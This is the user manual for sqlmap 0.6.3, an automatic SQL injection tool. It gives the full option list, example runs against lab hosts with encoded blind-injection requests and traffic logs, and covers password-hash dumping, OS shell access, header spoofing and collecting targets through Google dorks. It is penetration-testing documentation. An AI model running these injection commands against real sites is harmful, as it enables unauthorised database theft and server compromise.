sqlmap is an automatic
SQL injection tool. Its goal is to detect and take advantage of
SQL injection vulnerabilities on web applications. Once it detects one or
more SQL injections on the target host, the user can choose among a
variety of options to perform an extensive back-end database management
system fingerprint, retrieve DBMS session user and database, enumerate
users, password hashes, privileges, databases, dump entire or user's
specific DBMS tables/columns, run his own SQL SELECT statement,
read specific files on the file system and much more.
sqlmap is developed in Python, a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system since it only requires the Python interpreter version equal or above to 2.4. The interpreter is freely downloadable from its official site. To make it even easier, many GNU/Linux distributions come out of the box with Python interpreter package installed and other Unices and MacOS X too provide it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too.
Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline library to be able to take advantage of the sqlmap TAB completion and history support functionalities in the SQL shell and OS shell. Note that these functionalities are available natively by Python official readline library on other operating systems. You can also choose to install Psyco library to speed up the sqlmap algorithmic operations.
Let's say that you are auditing a web application and found a web page
that accepts dynamic user-provided values on GET or POST
parameters or HTTP Cookie values or HTTP User-Agent
header value.
You now want to test if these are affected by a SQL injection
vulnerability, and if so, exploit them to retrieve as much information as
possible out of the web application's back-end database management system
or even be able to access the underlying operating system.
Consider that the target url is:
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1
Assume that:
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1
is the same page as the original one and:
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2
differs from the original one, it means that you are in front of a SQL
injection vulnerability in the id GET parameter of the
index.php web application page which means that no IDS/IPS, no
web application firewall, no parameters' value sanitization is performed
on the server-side.
This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The Open Web Application Security Project rated on 2007 in their OWASP Top Ten survey this vulnerability as the most common and important web application vulnerability, second only to Cross-Site Scripting.
Back to the scenario, probably the SQL SELECT statemenet into
get_int.php has a syntax similar to the following SQL query, in
pseudo PHP code:
$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];
As you can see, appending any other syntatically valid SQL condition after
a value for id such condition will take place when the web
application passes the query to the back-end database management system
that executes it, that is why the condition id=1 AND 1=1 is valid
(True) and returns the same page as the original one, with the
same content and without showing any SQL error message.
Moreover, in this simple and easy to inject scenario it would be also
possible to append, not just one or more valid SQL condition(s), but also
stacked SQL queries, for instance something like [...]&id=1;
ANOTHER SQL QUERY# if the web application technology supports
stacked queries, also known as multiple statements.
Now that you found this SQL injection vulnerable parameter, you can
exploit it by manipulating the id parameter value in the HTTP
request.
There exist many resources on the Net explaining in depth how to prevent, how to detect and how to exploit SQL injection vulnerabilities in web application and it is recommended to read them if you are not familiar with the issue before going ahead with sqlmap.
Passing the original address, http://192.168.1.121/sqlmap/mysql/get_int.php?id=1
to sqlmap, the tool will automatically:
id in this scenario);sqlmap implements two techniques to exploit a SQL injection vulnerability:
SELECT sub-statement, or any other SQL statement
whose the user want to retrieve the output.
For each HTTP response, by making a comparison based upon HTML page
content hashes, or string matches, with the original request, the tool
determines the output value of the statement character by character.
The bisection algorithm implemented in sqlmap to perform this technique
is able to fetch each output character with at maximum seven HTTP
requests.
This is sqlmap default SQL injection technique.UNION ALL SELECT. This techique is useful if the web application
page passes the output of the SELECT statement to a for
cycle, or similar, so that each line of the query output is printed on the
page content.
sqlmap is also able to exploit Partial UNION query SQL injection
vulnerabilities which occur when the output of the statement is not cycled
in a for construct whereas only the first entry output is displayed.
This technique is much faster if the target url is affected by because
in a single HTTP response it returns the whole query output or a entry
per each response within the page content.
This SQL injection technique is an alternative to the first one.It is strongly recommended to run at least once sqlmap with the
--union-test option to test if the affected parameter is used
within a for cycle, or similar, and in case use
--union-use option to exploit this vulnerability because it
saves a lot of time and it does not weight down the web server log file
with hundreds of HTTP requests.
Major features implemented in sqlmap include:
SELECT statement.
conversations/ folder path or get the list of targets by providing
sqlmap with a Google dork which queries
Google search engine and
parses its results page.
SELECT statement syntax to
perform further injections with. It is also possible to specify the
parameter(s) that you want to perform tests and use for injection on.
Cookie header string support, useful when the
web application requires authentication based upon cookies and you have
such data or in case you just want to test for and exploit SQL injection
on such header.
Set-Cookie header from
target url, re-establishing of the session if it expires. Test and exploit
on these values is supported too.
Referer header value and
the HTTP User-Agent header value specified by user or
randomly selected from a text file.
magic_quotes_gpc bypass by encoding
every query string, between single quotes, with CHAR, or similar,
database management system function.sqlmap can be downloaded from its SourceForge File List page. It is available in various formats:
Whatever way you downloaded sqlmap, run it with --update
option to update it to the latest stable version available on its
SourceForge File List page.
You can also checkout the source code from the sqlmap Subversion repository to give a try to the development release:
$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
sqlmap is released under the terms of the General Public License v2. sqlmap is copyrighted by Bernardo Damele A. G. and Daniele Bellucci.
$ python sqlmap.py -h
sqlmap/0.6.3 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Usage: sqlmap.py [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
Target:
At least one of these options has to be specified to set the source to
get target urls from.
-u URL, --url=URL Target url
-l LIST Parse targets from Burp or WebScarab logs
-g GOOGLEDORK Process Google dork results as target urls
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target url.
--method=METHOD HTTP method, GET or POST (default: GET)
--data=DATA Data string to be sent through POST
--cookie=COOKIE HTTP Cookie header
--referer=REFERER HTTP Referer header
--user-agent=AGENT HTTP User-Agent header
-a USERAGENTSFILE Load a random HTTP User-Agent header from file
--headers=HEADERS Extra HTTP headers '\n' separated
--auth-type=ATYPE HTTP Authentication type, value: Basic or Digest
--auth-cred=ACRED HTTP Authentication credentials, value: name:password
--proxy=PROXY Use a HTTP proxy to connect to the target url
--threads=THREADS Maximum number of concurrent HTTP requests (default 1)
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 10)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and how to parse and compare HTTP
responses page content when using the blind SQL injection technique.
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to this value
--prefix=PREFIX Injection payload prefix string
--postfix=POSTFIX Injection payload postfix string
--string=STRING String to match in page when the query is valid
--regexp=REGEXP Regexp to match in page when the query is valid
--excl-str=ESTRING String to be excluded before calculating page hash
--excl-reg=EREGEXP Regexp matches to be excluded before calculating page
hash
Techniques:
These options can be used to test for specific SQL injection technique
or to use one of them to exploit the affected parameter(s) rather than
using the default blind SQL injection technique.
--stacked-test Test for stacked queries (multiple statements) support
--time-test Test for Time based blind SQL injection
--union-test Test for UNION query (inband) SQL injection
--union-use Use the UNION query (inband) SQL injection to retrieve
the queries output. No need to go blind
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL SELECT queries.
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes (opt: -U)
--privileges Enumerate DBMS users privileges (opt: -U)
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables (opt: -D)
--columns Enumerate DBMS database table columns (req:-T opt:-D)
--dump Dump DBMS database table entries (req: -T, opt: -D,
-C, --start, --stop)
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
-C COL DBMS database table column to enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--start=LIMITSTART First table entry to dump
--stop=LIMITSTOP Last table entry to dump
--sql-query=QUERY SQL SELECT query to be executed
--sql-shell Prompt for an interactive SQL shell
File system access:
These options can be used to access the back-end database management
system file system taking advantage of native DBMS functions or
specific DBMS design weaknesses.
--read-file=RFILE Read a specific OS file content (only on MySQL)
--write-file=WFILE Write to a specific OS file (not yet available)
Operating system access:
This option can be used to access the back-end database management
system operating system taking advantage of specific DBMS design
weaknesses.
--os-shell Prompt for an interactive OS shell (only on PHP/MySQL
environment with a writable directory within the web
server document root for the moment)
Miscellaneous:
--eta Retrieve each query output length and calculate the
estimated time of arrival in real time
-v VERBOSE Verbosity level: 0-5 (default 1)
--update Update sqlmap to the latest stable version
-s SESSIONFILE Save and resume all data retrieved on a session file
--save Save options on a configuration INI file
--batch Never ask for user input, use the default behaviour
At least one of these options has to be specified to set the source to get target urls from.
Option: -u or --url
To run sqlmap on a single target URL.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"
[...]
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
Option: -v
Verbose options can be used to set the verbosity level of output messages. There exist six levels. The default level is 1 in which information, warnings, errors and tracebacks, if they occur, will be shown. Level 2 shows also debug messages, level 3 shows also HTTP requests with all HTTP headers sent, level 4 shows also HTTP responses headers and level 5 shows also HTTP responses page content.
Example on a MySQL 5.0.67 target (verbosity level 1):
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1
[hh:mm:12] [INFO] testing connection to the target url
[hh:mm:12] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:14] [INFO] url is stable
[hh:mm:14] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:14] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:14] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:14] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:14] [INFO] GET parameter 'id' is dynamic
[hh:mm:14] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:14] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:14] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:14] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:14] [INFO] testing for parenthesis on injectable parameter
[hh:mm:14] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:14] [INFO] testing MySQL
[hh:mm:14] [INFO] query: CONCAT(CHAR(53), CHAR(53))
[hh:mm:14] [INFO] retrieved: 55
[hh:mm:14] [INFO] performed 20 queries in 0 seconds
[hh:mm:14] [INFO] confirming MySQL
[hh:mm:14] [INFO] query: LENGTH(CHAR(53))
[hh:mm:14] [INFO] retrieved: 1
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
[hh:mm:14] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:14] [INFO] retrieved: 5
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
Example on a MySQL 5.0.67 target (verbosity level 2):
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 2
[hh:mm:03] [DEBUG] initializing the configuration
[hh:mm:03] [DEBUG] initializing the knowledge base
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [DEBUG] setting the HTTP method to GET
[hh:mm:03] [DEBUG] creating HTTP requests opener object
[hh:mm:03] [DEBUG] parsing XML queries file
[hh:mm:03] [INFO] testing connection to the target url
[hh:mm:03] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:04] [INFO] url is stable
[hh:mm:04] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:04] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:04] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:04] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:04] [INFO] GET parameter 'id' is dynamic
[hh:mm:04] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:04] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:04] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:04] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[...]
Example on a MySQL 5.0.67 target (verbosity level 3):
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 3
[...]
[hh:mm:54] [INFO] testing connection to the target url
[hh:mm:54] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:55] [INFO] testing MySQL
[hh:mm:55] [INFO] query: CONCAT(CHAR(54), CHAR(54))
[hh:mm:55] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2854%29%2C%20CHAR
%2854%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201104=1104 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[...]
Example on a MySQL 5.0.67 target (verbosity level 4):
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 4
[...]
[hh:mm:44] [INFO] testing connection to the target url
[hh:mm:44] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200):
Date: Thu, 11 Dec 2008 hh:mm:44 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4
Content-Length: 119
Connection: close
Content-Type: text/html
[...]
[hh:mm:45] [INFO] testing MySQL
[hh:mm:46] [INFO] query: CONCAT(CHAR(52), CHAR(52))
[hh:mm:46] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20CHAR
%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%203030=3030 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[...]
Example on a MySQL 5.0.67 target (verbosity level 5):
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5
[...]
[hh:mm:17] [INFO] testing connection to the target url
[hh:mm:17] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200):
Date: Thu, 11 Dec 2008 hh:mm:17 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4
Content-Length: 119
Connection: close
Content-Type: text/html
<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html>
[...]
[hh:mm:18] [INFO] testing MySQL
[hh:mm:18] [INFO] query: CONCAT(CHAR(51), CHAR(51))
[hh:mm:18] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20CHAR
%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%202581=2581 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200):
Date: Thu, 11 Dec 2008 hh:mm:18 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4
Content-Length: 75
Connection: close
Content-Type: text/html
<html><body>
<b>SQL results:</b>
<table border="1">
</table>
</body></html>
[...]
Option: -l
Rather than providing a single target URL it is possible to test and inject on HTTP requests proxied through Burp proxy or WebScarab proxy.
Example passing to sqlmap a WebScarab proxy conversations/ folder:
$ python sqlmap.py -l /tmp/webscarab.log/conversations/
[hh:mm:43] [INFO] sqlmap parsed 27 testable requests from the targets list
[hh:mm:43] [INFO] sqlmap got a total of 27 targets
[hh:mm:43] [INPUT] url 1:
GET http://192.168.1.121:80/phpmyadmin/navigation.php?db=test&token=60747016432606019619a
c58b3780562
Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3; phpMyAdmin=366c9c9b329a98eabb4b708c2df8b
d7d392eb151; pmaCookieVer=4; pmaPass-1=uH9%2Fz5%2FsB%2FM%3D; pmaUser-1=pInZx5iWPrA%3D;
pma_charset=iso-8859-1; pma_collation_connection=utf8_unicode_ci; pma_fontsize=deleted;
pma_lang=en-utf-8; pma_mcrypt_iv=o6Mwtqw6c0c%3D; pma_theme=deleted
do you want to test this url? [Y/n/q] n
[hh:mm:46] [INPUT] url 2:
GET http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1
Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3
do you want to test this url? [Y/n/q] y
[hh:mm:49] [INFO] testing url http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1
[hh:mm:49] [INFO] testing connection to the target url
[hh:mm:49] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:50] [INFO] url is stable
[hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:50] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:50] [INFO] testing if Cookie parameter 'PPA_ID' is dynamic
[hh:mm:50] [WARNING] Cookie parameter 'PPA_ID' is not dynamic
[hh:mm:50] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:50] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:50] [INFO] GET parameter 'id' is dynamic
[hh:mm:50] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:50] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:50] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:50] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:50] [INPUT] do you want to exploit this SQL injection? [Y/n] y
[hh:mm:29] [INFO] testing for parenthesis on injectable parameter
[hh:mm:29] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:29] [INFO] testing MySQL
[hh:mm:29] [INFO] query: CONCAT(CHAR(57), CHAR(57))
[hh:mm:29] [INFO] retrieved: 99
[hh:mm:29] [INFO] performed 20 queries in 0 seconds
[hh:mm:29] [INFO] confirming MySQL
[hh:mm:29] [INFO] query: LENGTH(CHAR(57))
[hh:mm:29] [INFO] retrieved: 1
[hh:mm:29] [INFO] performed 13 queries in 0 seconds
[hh:mm:29] [INFO] query: SELECT 9 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:29] [INFO] retrieved: 9
[hh:mm:29] [INFO] performed 13 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
[...]
Option: -g
It is also possible to test and inject on GET parameters on the
results of your Google dork.
This option makes sqlmap negotiate with the search engine its session
cookie to be able to perform a search, then sqlmap will retrieve Google
first 100 results for the Google dork expression with GET parameters
asking you if you want to test and inject on each possible affected URL.
Example of Google dorking with expression site:yourdomain.com
ext:php:
$ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1
[hh:mm:38] [INFO] first request to Google to get the session cookie
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
testable hosts
[hh:mm:41] [INFO] sqlmap got a total of 59 targets
[hh:mm:40] [INFO] url 1:
GET http://yourdomain.com/example1.php?foo=12, do you want to test this
url? [y/N/q] n
[hh:mm:43] [INFO] url 2:
GET http://yourdomain.com/example2.php?bar=24, do you want to test this
url? [y/N/q] n
[hh:mm:42] [INFO] url 3:
GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you
want to test this url? [y/N/q] y
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
[hh:mm:53] [INFO] GET parameter 'today' is dynamic
[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
[...]
Option: -c
It is possible to pass user's options from a configuration INI file, an
example is sqlmap.conf.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -c "sqlmap.conf"
[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
back-end DBMS: MySQL >= 5.0.0
Note that if you also provide other options from command line, those are evaluated when running sqlmap and overwrite the same options, if set, in the provided configuration file.
These options can be used to specify how to connect to the target url.
GET or POSTOptions: --method and --data
By default the HTTP method used to perform HTTP requests is GET,
but you can change it to POST and provide the data to be sent
through POST request. Such data, being those parameters, are
tested for SQL injection like the GET parameters.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST \
--data "id=1"
[hh:mm:53] [INFO] testing connection to the target url
[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:54] [INFO] url is stable
[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
[hh:mm:54] [INFO] POST parameter 'id' is dynamic
[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
[...]
[hh:mm:54] [INFO] testing Oracle
[hh:mm:54] [INFO] query: LENGTH(SYSDATE)
[hh:mm:54] [INFO] retrieved: 9
[hh:mm:54] [INFO] performed 13 queries in 0 seconds
[hh:mm:54] [INFO] confirming Oracle
[hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
[hh:mm:55] [INFO] performed 76 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
Cookie headerOption: --cookie
This feature can be useful in two scenarios:
The steps to go through in the second scenario are the following:
Cookie value, then click on Copy to save its
value to the clipboard.Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \
"id=1" -v 1
[hh:mm:37] [INFO] testing connection to the target url
[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:38] [INFO] url is stable
[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
[...]
Note that the HTTP Cookie header values are separated by a
; character, not by an &.
If the web application at first HTTP response has within the HTTP headers
a Set-Cookie header, sqlmap will automatically use it in all HTTP
requests as the HTTP Cookie header and also test for SQL
injection on these values.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
[...]
[hh:mm:39] [INFO] testing connection to the target url
[hh:mm:39] [TRAFFIC OUT] HTTP request:
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.125:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
Connection: close
[...]
[hh:mm:40] [INFO] url is stable
[...]
[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
[hh:mm:40] [TRAFFIC OUT] HTTP request:
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.125:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Cookie: ASPSESSIONIDSABTRCAS=469
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
[...]
If you provide an HTTP Cookie header value and the target URL
sends an HTTP Set-Cookie header, sqlmap asks you which one to use
in the following HTTP requests.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1"
[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
values that you provided? [Y/n]
Referer headerOption: --referer
It is possible to fake the HTTP Referer header value with this
option. By default no HTTP Referer heder is sent in HTTP
requests.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer \
"http://www.google.com" -v 3
[...]
[hh:mm:48] [INFO] testing connection to the target url
[hh:mm:48] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Referer: http://www.google.com
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[...]
User-Agent headerOptions: --user-agent and -a
By default sqlmap perform HTTP requests providing the following HTTP
User-Agent header value:
sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
It is possible to fake it with the --user-agent option.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \
--user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
[...]
[hh:mm:02] [INFO] testing connection to the target url
[hh:mm:02] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Connection: close
[...]
Providing a text file, ./txt/user-agents.txt or any other
file containing a list of at least one user agent, to the -a
option, sqlmap will randomly select a User-Agent from the file
and use it for all HTTP requests.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \
-a "./txt/user-agents.txt"
